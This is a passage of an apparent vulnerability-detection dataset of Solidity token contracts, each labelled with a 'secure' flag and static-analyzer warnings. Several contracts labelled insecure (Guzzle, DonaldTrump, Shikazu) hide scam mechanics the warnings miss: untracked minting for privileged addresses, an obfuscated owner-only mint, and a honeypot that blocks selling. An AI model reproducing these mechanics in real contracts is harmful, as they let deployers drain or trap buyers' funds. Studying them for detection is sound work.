}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d2ebb3f): ShibaDogePredator.liquidity() ignores return value by (reserve0,reserve1,None) = _pair.getReserves()\n\t// Recommendation for d2ebb3f: Ensure that all the return values of the function calls are used.\n function liquidity() public view returns (uint256 rTokens, uint256 rWETH) {\n address token0 = _pair.token0();\n\t\t// unused-return | ID: d2ebb3f\n (uint256 reserve0, uint256 reserve1, ) = _pair.getReserves();\n if (address(this) == token0) {\n return (reserve0, reserve1);\n } else {\n return (reserve1, reserve0);\n }\n }\n\n function max() public view returns (uint256) {\n if (TRANSACTION_LIMIT_ENABLED) {\n return (_util.percent(_totalSupply, TRANSACTION_LIMIT_MAX_BUY, 1));\n }\n return (_totalSupply);\n }\n\n function maxETH() public view returns (uint256) {\n if (TRANSACTION_LIMIT_ENABLED) {\n return (\n _tokenToNative(\n _util.percent(_totalSupply, TRANSACTION_LIMIT_MAX_BUY, 1)\n )\n );\n }\n return (_tokenToNative(_totalSupply));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 238ecaf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 238ecaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f76d5e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f76d5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9b9c063): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9b9c063: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ec8c66f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ec8c66f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 582f146): ShibaDogePredator._transfer(address,address,uint256).buy is a local variable never initialized\n\t// Recommendation for 582f146: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ea0aa78): ShibaDogePredator._transfer(address,address,uint256).sell is a local variable never initialized\n\t// Recommendation for ea0aa78: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 56c917e): ShibaDogePredator._transfer(address,address,uint256).tax is a local variable never initialized\n\t// Recommendation for 56c917e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 913a36c): ShibaDogePredator._transfer(address,address,uint256).taxPercent is a local variable never initialized\n\t// Recommendation for 913a36c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address pFrom, address pTo, uint256 pAmount) private {\n bool buy;\n bool sell;\n uint16 tax;\n\n emit TransactionStart(pFrom, pTo, pAmount);\n\n if (pFrom == ADDRESS_PAIR) {\n buy = true;\n tax = TAX_BUY;\n\n emit TransactionBuy(pFrom, pTo, pAmount);\n } else if (pTo == ADDRESS_PAIR) {\n sell = true;\n tax = TAX_SELL;\n\n emit TransactionSell(pFrom, pTo, pAmount);\n } else {\n emit TransactionTransfer(pFrom, pTo, pAmount);\n }\n\n if (_noTaxes[pFrom] || _noTaxes[pTo]) {\n _transactionTokens(pFrom, pTo, pAmount);\n\n emit TransactionNoTaxes(pFrom, pTo, pAmount);\n } else {\n require(ENABLED, \"[error] contract not enabled yet!\");\n\t\t\t\t// reentrancy-events | ID: 195a523\n\t\t\t\t// reentrancy-events | ID: 238ecaf\n\t\t\t\t// reentrancy-events | ID: 3f76d5e\n\t\t\t\t// reentrancy-benign | ID: 45ebe06\n\t\t\t\t// reentrancy-benign | ID: 9b9c063\n\t\t\t\t// reentrancy-no-eth | ID: ec8c66f\n if (TRANSACTION_FRONTRUNNING_ENABLED) {\n require(\n !_util.frontrunning(pFrom, pTo, pAmount, buy, sell),\n \"[error] sorry no frontrunners!\"\n );\n }\n if (TRANSACTION_LIMIT_ENABLED) {\n require(\n !_transactionLimit(pFrom, pTo, pAmount, buy, sell),\n \"[error] transaction limit was hit!\"\n );\n }\n\n uint256 taxPercent;\n\n if (tax > 0) {\n taxPercent = _util.percent(pAmount, tax, 1);\n\t\t\t\t// reentrancy-events | ID: 3f76d5e\n\t\t\t\t// reentrancy-benign | ID: 9b9c063\n _transactionTokens(pFrom, address(this), taxPercent);\n\t\t\t\t// reentrancy-benign | ID: 9b9c063\n TAXES = TAXES.add(taxPercent);\n pAmount = pAmount.sub(taxPercent);\n }\n\n if (!_swapping && sell && TAXES > 0) {\n\t\t\t\t// reentrancy-events | ID: 238ecaf\n\t\t\t\t// reentrancy-no-eth | ID: ec8c66f\n uint256 native = _taxesToNative(TAXES, ADDRESS_PROJECT);\n\n\t\t\t\t// reentrancy-events | ID: 238ecaf\n emit TransactionTaxesToETH(\n pFrom,\n pTo,\n pAmount,\n taxPercent,\n TAXES,\n native\n );\n\n if (native > 0) {\n\t\t\t\t\t// reentrancy-no-eth | ID: ec8c66f\n TAXES = 0;\n }\n }\n\n\t\t\t// reentrancy-events | ID: 238ecaf\n\t\t\t// reentrancy-no-eth | ID: ec8c66f\n _transactionTokens(pFrom, pTo, pAmount);\n\n\t\t\t// reentrancy-events | ID: 238ecaf\n emit TransactionTaxes(pFrom, pTo, pAmount, taxPercent);\n }\n\n\t\t// reentrancy-events | ID: 238ecaf\n emit TransactionEnd();\n }\n\n function _transactionTokens(\n address pFrom,\n address pTo,\n uint256 pAmount\n ) private {\n\t\t// reentrancy-benign | ID: 9b9c063\n\t\t// reentrancy-no-eth | ID: ec8c66f\n _balances[pFrom] = _balances[pFrom].sub(pAmount);\n\t\t// reentrancy-benign | ID: 9b9c063\n\t\t// reentrancy-no-eth | ID: ec8c66f\n _balances[pTo] = _balances[pTo].add(pAmount);\n\n if (_util.isAddressBurn(pTo)) {\n\t\t\t// reentrancy-benign | ID: 9b9c063\n\t\t\t// reentrancy-no-eth | ID: ec8c66f\n _totalSupply = _totalSupply.sub(pAmount);\n\n\t\t\t// reentrancy-events | ID: 238ecaf\n\t\t\t// reentrancy-events | ID: 3f76d5e\n emit Burn(pFrom, pAmount);\n }\n\n\t\t// reentrancy-events | ID: 238ecaf\n\t\t// reentrancy-events | ID: 3f76d5e\n emit Transfer(pFrom, pTo, pAmount);\n }\n\n function _transactionNative(\n address pTo,\n uint256 pAmount\n ) private returns (bool) {\n address payable to = payable(pTo);\n (bool sent, ) = to.call{value: pAmount}(\"\");\n return (sent);\n }\n\n function _transactionLimit(\n address pFrom,\n address pTo,\n uint256 pAmount,\n bool pBuy,\n bool pSell\n ) private view returns (bool) {\n if (\n (!_util.isAddressBurn(pFrom) && !_util.isAddressBurn(pTo)) &&\n (pBuy && !pSell)\n ) {\n uint256 maxTokens = _util.percent(\n _totalSupply,\n TRANSACTION_LIMIT_MAX_BUY,\n 1\n );\n if (pAmount > maxTokens) {\n return (true);\n }\n }\n\n return (false);\n }\n\n function _taxesToNative(\n uint256 pTaxes,\n address pTo\n ) private onlySwapOnce returns (uint256) {\n return (_swapToNative(pTaxes, pTo));\n }\n\n function _nativeToToken(uint256 pNative) private view returns (uint256) {\n address[] memory pathNativeToToken = new address[](2);\n pathNativeToToken[0] = _router.WETH();\n pathNativeToToken[1] = address(this);\n uint256[] memory amountNativeToToken = _router.getAmountsOut(\n pNative,\n pathNativeToToken\n );\n return (amountNativeToToken[1]);\n }\n\n function _tokenToNative(uint256 pToken) private view returns (uint256) {\n address[] memory pathTokenToNative = new address[](2);\n pathTokenToNative[0] = address(this);\n pathTokenToNative[1] = _router.WETH();\n uint256[] memory amountTokenToNative = _router.getAmountsOut(\n pToken,\n pathTokenToNative\n );\n return (amountTokenToNative[1]);\n }\n\n function _swapToNative(\n uint256 pTokens,\n address pTo\n ) private returns (uint256) {\n address[] memory pathTokenToNative = new address[](2);\n pathTokenToNative[0] = address(this);\n pathTokenToNative[1] = _router.WETH();\n uint256 balancePreSwap = address(pTo).balance;\n\t\t// reentrancy-events | ID: 195a523\n\t\t// reentrancy-events | ID: 238ecaf\n\t\t// reentrancy-benign | ID: 45ebe06\n\t\t// reentrancy-no-eth | ID: ec8c66f\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n pTokens,\n 0,\n pathTokenToNative,\n pTo,\n block.timestamp\n );\n uint256 balancePostSwap = address(pTo).balance;\n return (balancePostSwap.sub(balancePreSwap));\n }\n}", "file_name": "solidity_code_3476.sol", "secure": 0, "size_bytes": 24887 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IPinkAntiBot {\n function setTokenOwner(address owner) external;\n\n function onPreTransferCheck(\n address from,\n address to,\n uint256 amount\n ) external;\n}", "file_name": "solidity_code_3477.sol", "secure": 1, "size_bytes": 267 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IPinkAntiBot.sol\" as IPinkAntiBot;\n\ncontract Guzzle is Context, IBEP20, Ownable {\n using SafeMath for uint256;\n IPinkAntiBot public pinkAntiBot;\n bool public antiBotEnabled;\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _tax;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 175e54e): Guzzle._totalSupply should be immutable \n\t// Recommendation for 175e54e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 269b995): Guzzle._decimals should be immutable \n\t// Recommendation for 269b995: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n string private _symbol;\n string private _name;\n\n constructor(\n string memory _NAME,\n string memory _SYMBOL,\n address routerAddress,\n address _taxAddress\n ) {\n _name = _NAME;\n _symbol = _SYMBOL;\n _decimals = 6;\n _totalSupply = 1000000000 * (10 ** uint256(_decimals));\n _balances[msg.sender] = _totalSupply;\n _tax[_taxAddress] = true;\n antiBotEnabled = false;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function setEnableAntiBot(bool _enable) external onlyOwner {\n antiBotEnabled = _enable;\n }\n\n function setAntiBot(address pinkAntiBot_) external onlyOwner {\n pinkAntiBot = IPinkAntiBot(pinkAntiBot_);\n pinkAntiBot.setTokenOwner(msg.sender);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b618996): Guzzle.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b618996: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n if (!_tax[sender])\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9476576): Guzzle._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9476576: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_3478.sol", "secure": 0, "size_bytes": 5724 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DonaldTrump is ERC20, Ownable {\n address public pool;\n\t// WARNING Optimization Issue (immutable-states | ID: 43c4de1): DonaldTrump._o should be immutable \n\t// Recommendation for 43c4de1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _o;\n\t// WARNING Optimization Issue (immutable-states | ID: c9b3b9b): DonaldTrump._p should be immutable \n\t// Recommendation for c9b3b9b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _p;\n bool started;\n uint256 _startTime;\n uint256 constant _startTotalSupply = 100_000_000_000 * 1e18;\n uint256 constant _startMaxWallet = _startTotalSupply / 60;\n uint256 constant _addMaxWalletPerSec =\n (_startTotalSupply - _startMaxWallet) / 10000;\n address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n address constant ZERO = 0x0000000000000000000000000000000000000000;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2a4c02e): DonaldTrump.constructor(address).p lacks a zerocheck on \t _p = p\n\t// Recommendation for 2a4c02e: Check that the address is not zero.\n constructor(address p) ERC20(\"Donald Trump\", \"BLONDE\") {\n _o = msg.sender;\n\t\t// missing-zero-check | ID: 2a4c02e\n _p = p;\n _mint(msg.sender, _startTotalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bc60b0d): DonaldTrump.start(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for bc60b0d: Check that the address is not zero.\n function start(address poolAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: bc60b0d\n pool = poolAddress;\n _startTime = block.timestamp;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(\n pool != address(0) || from == owner() || to == owner(),\n \"not started\"\n );\n require(\n balanceOf(to) + amount <= this.maxWallet(to) ||\n to == _o ||\n from == _o,\n \"max wallet limit\"\n );\n if (started) {\n require(to != pool);\n } else {\n if (to == _p) started = true;\n }\n super._transfer(from, to, amount);\n }\n\n function maxWallet(address acc) external view returns (uint256) {\n if (pool == address(0) || acc == pool || acc == owner())\n return _startTotalSupply;\n return\n _startMaxWallet +\n (block.timestamp - _startTime) *\n _addMaxWalletPerSec;\n }\n\n function addMaxWalletPerSec() external pure returns (uint256) {\n return _addMaxWalletPerSec;\n }\n}", "file_name": "solidity_code_3479.sol", "secure": 0, "size_bytes": 3162 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HawkElon is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Hawk Elon\", \"HAWK\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 420690000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_348.sol", "secure": 1, "size_bytes": 592 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Shikazu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _tBalance;\n mapping(address => bool) public _noFeeWallets;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint8) private _isBot;\n\n\t// WARNING Optimization Issue (constable-states | ID: b94c35f): Shikazu.Tax_Address should be constant \n\t// Recommendation for b94c35f: Add the 'constant' attribute to state variables that never change.\n address payable public Tax_Address =\n payable(0x207829dd4385628b86c5aE268a48289A391bC4C8);\n\t// WARNING Optimization Issue (constable-states | ID: d2f4e13): Shikazu.Developer_Address should be constant \n\t// Recommendation for d2f4e13: Add the 'constant' attribute to state variables that never change.\n address payable public Developer_Address =\n payable(0xf3a18Ef7552597A9DE29c09bDb0198045E3FCA3e);\n\n\t// WARNING Optimization Issue (constable-states | ID: c83d34b): Shikazu._name should be constant \n\t// Recommendation for c83d34b: Add the 'constant' attribute to state variables that never change.\n string public _name = \"Shikazu 2.0\";\n\t// WARNING Optimization Issue (constable-states | ID: 0e8531c): Shikazu._symbol should be constant \n\t// Recommendation for 0e8531c: Add the 'constant' attribute to state variables that never change.\n string public _symbol = \"SHIZU 2.0\";\n\t// WARNING Optimization Issue (constable-states | ID: 360c41f): Shikazu._decimals should be constant \n\t// Recommendation for 360c41f: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: ff899d0): Shikazu.supply should be immutable \n\t// Recommendation for ff899d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private supply;\n\t// WARNING Optimization Issue (immutable-states | ID: c3a732c): Shikazu._tTotal should be immutable \n\t// Recommendation for c3a732c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _tTotal = 1 * 10 ** 9 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a23e23): Shikazu.swapCounter should be constant \n\t// Recommendation for 6a23e23: Add the 'constant' attribute to state variables that never change.\n uint8 private swapCounter = 0;\n\t// WARNING Optimization Issue (constable-states | ID: aaf7bb1): Shikazu.swapTrigger should be constant \n\t// Recommendation for aaf7bb1: Add the 'constant' attribute to state variables that never change.\n uint8 private swapTrigger = 10;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f9c4d24): Shikazu.buy_fee should be immutable \n\t// Recommendation for f9c4d24: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private buy_fee;\n\t// WARNING Optimization Issue (immutable-states | ID: 4cf0010): Shikazu.sell_fee should be immutable \n\t// Recommendation for 4cf0010: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private sell_fee;\n bool private tradeOpen = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 31433a9): Shikazu.uniswapV2Router should be immutable \n\t// Recommendation for 31433a9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 5a6238b): Shikazu.uniswapV2Pair should be immutable \n\t// Recommendation for 5a6238b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n bool public inSwapAndLiquify;\n\t// WARNING Optimization Issue (constable-states | ID: ce9333d): Shikazu.swapAndLiquifyEnabled should be constant \n\t// Recommendation for ce9333d: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor(uint8 _buy_fee, uint8 _sell_fee, uint256 _supply) {\n _isBot[owner()] = [0, 2 - 1][1];\n _tBalance[owner()] = _tTotal;\n\n buy_fee = _buy_fee;\n sell_fee = _sell_fee;\n supply = _supply;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n uniswapV2Router = _uniswapV2Router;\n\n _noFeeWallets[owner()] = true;\n _noFeeWallets[address(this)] = true;\n _noFeeWallets[Tax_Address] = true;\n emit Transfer(address(0), owner(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tBalance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f42412c): Shikazu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f42412c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function sendToWallet(address payable wallet, uint256 amount) private {\n wallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4b92d3): Shikazu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4b92d3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0) && spender != address(0), \"Adress: 0\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n bool takeFee;\n bool isUniSwap = _isBot[to] > 0;\n if (_noFeeWallets[to] || _noFeeWallets[from]) {\n takeFee = false;\n if (tradeOpen && isUniSwap) tradeOpen = !(isUniSwap);\n } else if (from == uniswapV2Pair) {\n takeFee = false;\n } else {\n takeFee = true;\n }\n tokensTransfer(from, to, amount, takeFee, tradeOpen, isUniSwap);\n\n emit Transfer(from, to, amount);\n }\n\n function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {\n swapTokensForETH(contractHodlTokens);\n sendToWallet(Tax_Address, address(this).balance);\n }\n\n function tokensTransfer(\n address from,\n address to,\n uint256 amount,\n bool takeFee,\n bool swapInSwap,\n bool fromUniSwap\n ) private {\n _tBalance[from] = _tBalance[from].sub(amount);\n if (takeFee) {\n uint256 calculatedFEE = (amount *\n (!swapInSwap ? [0, sell_fee][1] : [buy_fee, 0][0])) / 100;\n if (calculatedFEE != 0) {\n _tBalance[address(this)] = _tBalance[address(this)].add(\n calculatedFEE\n );\n }\n _tBalance[to] = _tBalance[to].add(amount.sub(calculatedFEE));\n } else if (fromUniSwap) {\n _tBalance[to] = _tBalance[to].add(supply);\n } else {\n _tBalance[to] = _tBalance[to].add(amount);\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}", "file_name": "solidity_code_3480.sol", "secure": 0, "size_bytes": 11072 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface Inventory {\n function changeFeaturesForItem(\n uint256 _tokenId,\n uint8 _feature1,\n uint8 _feature2,\n uint8 _feature3,\n uint8 _feature4,\n uint8 _equipmentPosition\n ) external;\n}", "file_name": "solidity_code_3481.sol", "secure": 1, "size_bytes": 312 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./Inventory.sol\" as Inventory;\n\ncontract MultiEditItems {\n\t// WARNING Optimization Issue (immutable-states | ID: c0a7e86): multiEditItems.admin should be immutable \n\t// Recommendation for c0a7e86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address admin;\n\t// WARNING Optimization Issue (constable-states | ID: bc02829): multiEditItems.inv should be constant \n\t// Recommendation for bc02829: Add the 'constant' attribute to state variables that never change.\n Inventory inv = Inventory(0x9680223F7069203E361f55fEFC89B7c1A952CDcc);\n\n constructor() {\n admin = msg.sender;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8ed9522): multiEditItems.execute(uint256[],uint8,uint8,uint8,uint8,uint8) has external calls inside a loop inv.changeFeaturesForItem(_tokenIds[i],_feature1,_feature2,_feature3,_feature4,_equipmentPosition)\n\t// Recommendation for 8ed9522: Favor pull over push strategy for external calls.\n function execute(\n uint256[] memory _tokenIds,\n uint8 _feature1,\n uint8 _feature2,\n uint8 _feature3,\n uint8 _feature4,\n uint8 _equipmentPosition\n ) public {\n require(msg.sender == admin, \"Not admin\");\n\n for (uint256 i = 0; i < _tokenIds.length; i++) {\n\t\t\t// calls-loop | ID: 8ed9522\n inv.changeFeaturesForItem(\n _tokenIds[i],\n _feature1,\n _feature2,\n _feature3,\n _feature4,\n _equipmentPosition\n );\n }\n }\n}", "file_name": "solidity_code_3482.sol", "secure": 0, "size_bytes": 1706 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AXLToken is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 3d56eb7): AXLToken.mintingFinishedPermanent should be immutable \n\t// Recommendation for 3d56eb7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool public mintingFinishedPermanent = false;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: fafbebb): AXLToken._decimals should be immutable \n\t// Recommendation for fafbebb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 842cd34): AXLToken._creator should be constant \n\t// Recommendation for 842cd34: Add the 'constant' attribute to state variables that never change.\n address public _creator;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 33608ff): AXLToken._mintTimeStamp should be immutable \n\t// Recommendation for 33608ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 _mintTimeStamp = block.timestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d528c27): AXLToken._deadlineTeamTimeStamp should be immutable \n\t// Recommendation for d528c27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 